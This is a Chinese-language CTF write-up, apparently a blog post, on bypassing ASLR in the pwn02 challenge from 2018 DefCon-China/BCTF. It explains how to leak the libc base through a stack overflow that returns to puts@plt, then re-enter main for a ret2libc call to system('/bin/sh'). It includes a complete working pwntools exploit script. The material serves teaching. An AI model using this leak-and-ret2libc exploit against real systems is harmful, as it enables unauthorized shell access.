ASLR机制及绕过策略-栈相关漏洞libc基址泄露

ASLR(地址随机化)是一种针对缓冲区溢出的安全保护技术,通过对堆、栈、共享库映射等线性区布局的随机化,通过增加攻击者预测目的地址的难度,防止攻击者直接定位攻击代码位置,达到阻止溢出攻击的目的。
但是,地址随机化不是对所有模块和内存区都进行随机化!虽然libc、栈、堆的加载位置被随机化,但主镜像不会

一,测试程序-2018 DefCon-China & BCTF攻防赛pwn02题第3点

程序:https://pan.baidu.com/s/1msX6qw9K0tR-CMT6K9oR_w 密码:2csu

1.查看下保护机制

看可以看到,pwn02即开启了ASLR(地址随机化)又开启了NX(栈不可执行)

2.查看libc的加载地址是否会改变

在之前的实验中,我们使用ldd命令查看关闭了ASLR保护基址的程序的libc加载地址,这次同样使用该命令查看pwn02libc文件的加载地址

我们将它运行三次,可以发现,每一此它的加载位置都是不同的,也就是说,我们不在可以通过简单的ldd命令将libc的加载地址给获取

3.运行程序


当看到input your id时,我们就可以有些想法了,啊 !是不是栈溢出啊?输入一长串字符测试下,果然报错 Segmentation fault

4.IDA打开,观察漏洞点

发现程序崩溃语句===>没有控制字符串拷贝的大小

二,利用思路

首先绕过ASLR(地址随机化),泄露出libc的基址libc_base,然后利用Ret2libc或构造ROP链绕过NX,但是要注意的是,这两步要在一次运行完成,不然因为地址随机化的缘故,在下一次运行时libc基址又将改变。

也就是说,这个溢出漏洞在一次运行中利用两次,第一次泄露libc基址,第二次利用泄露出来的libc基址获得shell

完成libc基址泄露,并使漏洞可以利用两次

常用思路:首先通过溢出返回至PLT表中,调用具有输出功能的函数(常用puts/write/printf)GOT表中的真实libc函数地址打印出来,从而分析libc基地址。然后返回至漏洞函数二次触发溢出,此时便采取正常利用思路获得shell

简单说就是:

1.获得程序调用的一个libc函数的在程序里的真实地址---------func_true_addr
2.获得这个函数在libc文件里的偏移地址---------------------------func_offset_addr
3.通过相减得到libc在程序里的加载地址----------------------libc_base = func_true_addr - func_offset_addr

__libc_start_mainlibc中的一个函数,在程序进入main的初始化工作中会被调用,为了获得它的真实地址,并可以二次利用漏洞,我们可以布局为:

布局原理:布局完成后,返回地址return_addr被覆盖为puts@plt地址,当运行到原返回地址位置时,会跳转到puts中执行,同时,esp指向esp+4,这时对puts来说,它内部的ret(返回地址)执行时esp指针还是指向esp+4的,也就是esp + 4(main)就是puts函数的返回地址,而esp+8([email protected])则是它的参数。

流程:当调用puts时,__lic_start_main作为参数传入,这样我们就可以获得__libc_start_main在程序中的加载地址,当puts返回时会回到main函数当中,从而实现堆漏洞的二次利用。

$1,IDA查找pwn02中puts@plt

得到0x08048868

$2,IDA查找pwn02中main

得到0x080496D1

$2,IDA查找pwn02中__libc_start_main

1

2

得到0x0804BFD8

得到这些我们第一利用就可以得到libc基址libc_base,第二次只要绕过NX就可以了

在这我使用的是Ret2libc,可以参考我的另一篇文章:https://www.jianshu.com/p/c90530c910b0,我就不再赘述。

三,代码

利用这些我们写一个脚本-文件名exp.py

from pwn import *
r = process('./pwn02')

def overflow(data):
    r.recvuntil('Your choice: ')
    r.sendline('3')
    r.recvuntil('):')
    r.sendline('+')
    r.recvuntil('):')
    r.sendline('1 2')
    r.recvuntil('input your id')
    r.sendline(data)

buf = 'A' * 44
buf += p32(0x08048868)                        #puts
buf += p32(0x080496D1)                        #main
buf += p32(0x0804BFD8)                        #__libc_start_main
overflow(buf)


r.recvuntil('...\n')                                  #泄露libc基址    libc_base
leak_message = r.recv(4)
print repr(leak_message)
leak_value = u32(leak_message)
print 'leak_value is ' + hex(leak_value)
libc_base =leak_value - 0x000198B0

system_addr = libc_base + 0x0003D7E0                    #计算system()
sh_addr = libc_base + 0x0017c968                        #计算`/bin/sh`

buf = 'A' * 44                                          #ret2libc
buf += p32(system_addr)
buf += p32(0xdeadbeef)
buf += p32(sh_addr)
overflow(buf)

r.interactive()


四,测试

输入whoami,返回当前用户为root,输入ls,返回当前目录下的文件,均未报错,得到可产生交互的shell,实验完成!

你可能感兴趣的:(ASLR机制及绕过策略-栈相关漏洞libc基址泄露)